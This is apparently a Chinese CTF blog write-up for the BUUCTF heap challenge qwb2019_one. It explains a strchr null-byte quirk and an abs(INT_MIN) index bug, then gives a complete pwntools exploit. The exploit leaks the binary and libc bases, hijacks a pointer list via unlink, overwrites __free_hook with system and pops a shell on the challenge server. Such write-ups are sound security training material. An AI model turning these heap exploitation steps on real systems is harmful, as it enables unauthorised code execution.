[BUUCTF] qwb2019_one
[BUUCTF] qwb2019_one
好久没做堆题了,水平大幅下滑(悲)
Ubuntu 18,checksec防护全开,不放图了。
结构很奇怪,有一个heaplist_ptr,它指向了heaplist,但是后面各项功能都是从heaplist_ptr开始的,这一点在一开始Init函数可以看出来。(题目原来没有符号表,这里是我自己命的名)

可以看到heaplist_ptr的地址被存在了heaplist_ptr后面一格的地方
四个功能中,除了Edit之外,其余的都很常规。Edit里仅仅允许修改字符串中的单个字符,这里有个大锅:如果strchr函数是查找\x00这一字符,那么会返回这个字符串的结尾的\x00的地址而不是返回NULL(我专门查了源码,原因在于strchr是把\x00当做普通字符进行了判断,找到字符的if分支在字符串查询到结尾的分支要靠前,所以会return回\x00的地址而非NULL)
隐藏功能里也有一个漏洞,abs函数是通过直接进行“-”运算来实现负数变为整数的功能,然而int型0x80000000(最大的负数)经过abs运算后得到的结果仍为0x80000000,并且这个结果%5后得到-3,加4后下标为1——没错,这里是heaplist_ptr的地址。这样我们就能打印出来这个地址,也就得到了elf文件的基址。

堆溢出+textbase已知,这种情况肯定要用unlink去劫持heaplist,再泄露got表项得到libc基址。由于这题开启了FULL RELRO,这题不能篡改got表,需要把free_hook改成system的地址,再free掉一个有/bin/sh的堆块,即可拿到shell。
EXP:
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
#context.log_level='debug'
#r=process('/home/wjc/Desktop/one')
r=remote('node4.buuoj.cn',25066)
e=ELF('/home/wjc/Desktop/one')
libc=ELF('/home/wjc/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def cmd(idx):
r.recvuntil('command>> ')
r.sendline(str(idx))
def Add(content):
cmd(1)
r.recvuntil('Now, you can input your test string:')
r.sendline(content)
def Edit(idx,c1,c2):
cmd(2)
r.recvuntil('Please give me the index of the string:')
r.sendline(str(idx))
r.recvuntil('Which char do you want to edit:')
r.send(c1)
r.recvuntil('What do you want to edit it into:')
r.sendline(c2)
def Show(idx):
cmd(3)
r.recvuntil('Please give me the index of the string:')
r.sendline(str(idx))
def Del(idx):
cmd(4)
r.recvuntil('Please give me the index of the string:')
r.sendline(str(idx))
def backdoor(idx):
cmd(12580)
r.recvuntil('Do you want to use one?(Y/N)')
r.sendline('Y')
r.recvuntil('Here are 5 strings to be tested. Which one do you want to test?')
r.sendline(str(idx))
backdoor(0x80000000)
r.recvuntil("The string:\n")
textbase=u64(r.recv(6).ljust(8,'\x00'))-(0x5583ec1d70c0-0x5583ebfd4000)
heaplist=textbase+0x2030C0
free_got=e.got['puts']+textbase
for i in range(0,18):
Add(0x20*chr(ord('a')+i-1))
for i in range(0,0x10):
Edit(0,'\x00',chr(ord('B')+i))
for i in range(0,0x8):
Edit(0,'\x00',chr(ord('*')+i))
for i in range(0,0x20):
Edit(0,'\x60'+'\n',chr(ord('a')+i))
Edit(0,'\x41\n','\x40')
Edit(0,'\x00','\x04')
fake_size=p64(0x30)
for i in range(0,0x8):
Edit(0,chr(ord('*')+7-i)+'\n',fake_size[7-i])
fake_chunk=p64(0)+p64(0x31)+p64(heaplist-0x18)+p64(heaplist-0x10)
# for i in range(0,0x10):
# Edit(0,chr(ord('B')+0xF-i)+'\n',fake_chunk[0x1F-i])
for i in range(0,0x20):
Edit(0,chr(ord('a')+0x1F-i)+'\n',fake_chunk[0x1F-i])
Del(1)
for i in range(0,0x18):
Edit(0,'\x00'+'\n','a')
Edit(0,'\xa8'+'\n','\xc8')
for i in range(0,0x6):
Edit(0,'\x00',p64(free_got)[i])
Show(1)
r.recvuntil('The string is:')
free_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libcbase=free_addr-(0x7f9ea368e9c0-0x7f9ea360e000)
free_hook=libcbase+libc.symbols['__free_hook']
system_addr=libcbase+libc.symbols['system']
Add('/bin/sh')
for i in range(0,0x6):
Edit(0,p64(free_got)[5-i]+'\n',p64(free_hook)[5-i])
for i in range(0,0x6):
Edit(1,'\x00',p64(system_addr)[i])
Del(18)
print('textbase:',hex(textbase))
print('heapbase:',hex(heaplist))
print('free_got:',hex(free_got))
print('free_addr:',hex(free_addr))
print('libcbase:',hex(libcbase))
print('free_hook:',hex(free_hook))
#gdb.attach(r)
r.interactive()

浙公网安备 33010602011771号